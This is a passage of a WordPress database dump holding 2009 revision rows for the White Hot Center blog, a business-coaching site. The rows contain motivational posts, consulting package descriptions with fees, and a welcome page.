ahead.\r\n\r\n<strong>Where will you go from here?\r\nWhere will your ideas lead you?\r\nWhat does the success you desire look like?\r\nWhat matters to you and can serves others? </strong>\r\n\r\n<strong>Allow yourself some time to really think about these questions, then take a small action step toward your answers.  Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-6', '', '', '2009-07-28 17:44:00', '2009-07-29 00:44:00', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-6/', 0, 'revision', '', 0),
(545, 2, '2009-07-28 17:51:26', '2009-07-29 00:51:26', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my growing business). This article is the first post on the newly-designed White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nMy goal is to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but about creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank) and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>-       your life purpose and vision\r\n</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>-       your response-ability to empower yourself through useful thinking\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is your thoughts–which means visions, ideas and innovation to better serve people through your business . It’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity.\r\n<h2><span style="color: #ff6600;">Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world.</span></h2>\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will you go from here?\r\nWhere will your ideas lead you?\r\nWhat does the success you desire look like?\r\nWhat matters to you and can serves others? </strong>\r\n\r\n<strong>Allow yourself some time to really think about these questions, then take a small action step toward your answers.  Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-7', '', '', '2009-07-28 17:51:26', '2009-07-29 00:51:26', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-7/', 0, 'revision', '', 0),
(547, 2, '2009-07-28 18:14:40', '2009-07-29 01:14:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a></h2>\r\n<h2><span style="color: #ff6600;">It has been two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my then formless idea, (being a writer and thought leader in the professional development field), into physical form, (this blog, web site, and my growing business). This article is my first official post on the newly-designed White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. This is certain– I trust the process of creativity and I am on my way to my bigger future!\r\n\r\nMy goal is to share ideas that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level  and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>your life purpose and vision\r\n</strong>\r\n\r\n<strong>your unique talents and capabilities</strong>\r\n\r\n<strong>your core values</strong>\r\n\r\n<strong>your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>-       your response-ability to empower yourself through empowering thought\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is in your thoughts–which means visions, ideas and innovation to better serve people. It’s my opinion the venue of business provides the most compelling of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.\r\n<h2><span style="color: #ff6600;">From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity, and all creation begins as a formless idea.\r\n</span></h2>\r\nThrough the writing on the WHC blog, and in my consulting practice, I present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will you go from here?\r\nWhere will your ideas lead you?\r\nWhat does the success you desire look like?\r\nWhat really matters to you and will serve others? </strong>\r\n\r\n<strong>Allow yourself some time to really think about these questions, then take a small action step toward your answers.  Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-9', '', '', '2009-07-28 18:14:40', '2009-07-29 01:14:40', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-9/', 0, 'revision', '', 0),
(548, 2, '2009-07-28 18:15:50', '2009-07-29 01:15:50', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a></h2>\r\n<h2><span style="color: #ff6600;">It has been two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my then formless idea, (being a writer and thought leader in the professional development field), into physical form, (this blog, web site, and my growing business). This article is my first official post on the newly-designed White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. This is certain– I trust the process of creativity and I am on my way to my bigger future!\r\n\r\nMy goal is to share ideas that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level  and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>your life purpose and vision\r\n</strong>\r\n\r\n<strong>your unique talents and capabilities</strong>\r\n\r\n<strong>your core values</strong>\r\n\r\n<strong>your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>your response-ability to empower yourself through empowering thought\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is in your thoughts–which means visions, ideas and innovation to better serve people. It’s my opinion the venue of business provides the most compelling of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.\r\n<h2><span style="color: #ff6600;">From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity, and all creation begins as a formless idea.\r\n</span></h2>\r\nThrough the writing on the WHC blog, and in my consulting practice, I present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will you go from here?\r\nWhere will your ideas lead you?\r\nWhat does the success you desire look like?\r\nWhat really matters to you and will serve others? </strong>\r\n\r\n<strong>Allow yourself some time to really think about these questions, then take a small action step toward your answers.  Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-10', '', '', '2009-07-28 18:15:50', '2009-07-29 01:15:50', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-10/', 0, 'revision', '', 0),
(549, 1, '2009-07-08 15:34:49', '2009-07-08 22:34:49', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 15:34:49', '2009-07-08 22:34:49', '', 200, 'http://www.whitehotcenter.com/2009/07/08/200-revision-17/', 0, 'revision', '', 0);
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(550, 2, '2009-07-08 16:49:07', '2009-07-08 23:49:07', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. <strong>Learn more here.</strong>\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. <strong>Learn more here.</strong>\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend an email to me: <a href="mail://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span></h2>\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-08 16:49:07', '2009-07-08 23:49:07', '', 138, 'http://www.whitehotcenter.com/2009/07/08/138-revision-47/', 0, 'revision', '', 0),
(551, 2, '2009-07-22 16:55:55', '2009-07-22 23:55:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-22 16:55:55', '2009-07-22 23:55:55', '', 172, 'http://www.whitehotcenter.com/2009/07/22/172-revision-50/', 0, 'revision', '', 0),
(552, 2, '2009-07-31 16:19:20', '2009-07-31 23:19:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-31 16:19:20', '2009-07-31 23:19:20', '', 172, 'http://www.whitehotcenter.com/2009/07/31/172-revision-51/', 0, 'revision', '', 0),
(553, 1, '2009-06-12 19:26:12', '2009-06-13 02:26:12', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-06-12 19:26:12', '2009-06-13 02:26:12', '', 157, 'http://www.whitehotcenter.com/2009/06/12/157-revision-12/', 0, 'revision', '', 0),
(554, 1, '2009-08-03 11:19:14', '2009-08-03 18:19:14', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-08-03 11:19:14', '2009-08-03 18:19:14', '', 157, 'http://www.whitehotcenter.com/2009/08/03/157-revision-13/', 0, 'revision', '', 0),
(555, 1, '2009-07-22 17:03:40', '2009-07-23 00:03:40', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose, who do I serve, or what is most important to me?" Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-22', '', '', '2009-07-22 17:03:40', '2009-07-23 00:03:40', '', 179, 'http://www.whitehotcenter.com/2009/07/22/179-revision-22/', 0, 'revision', '', 0),
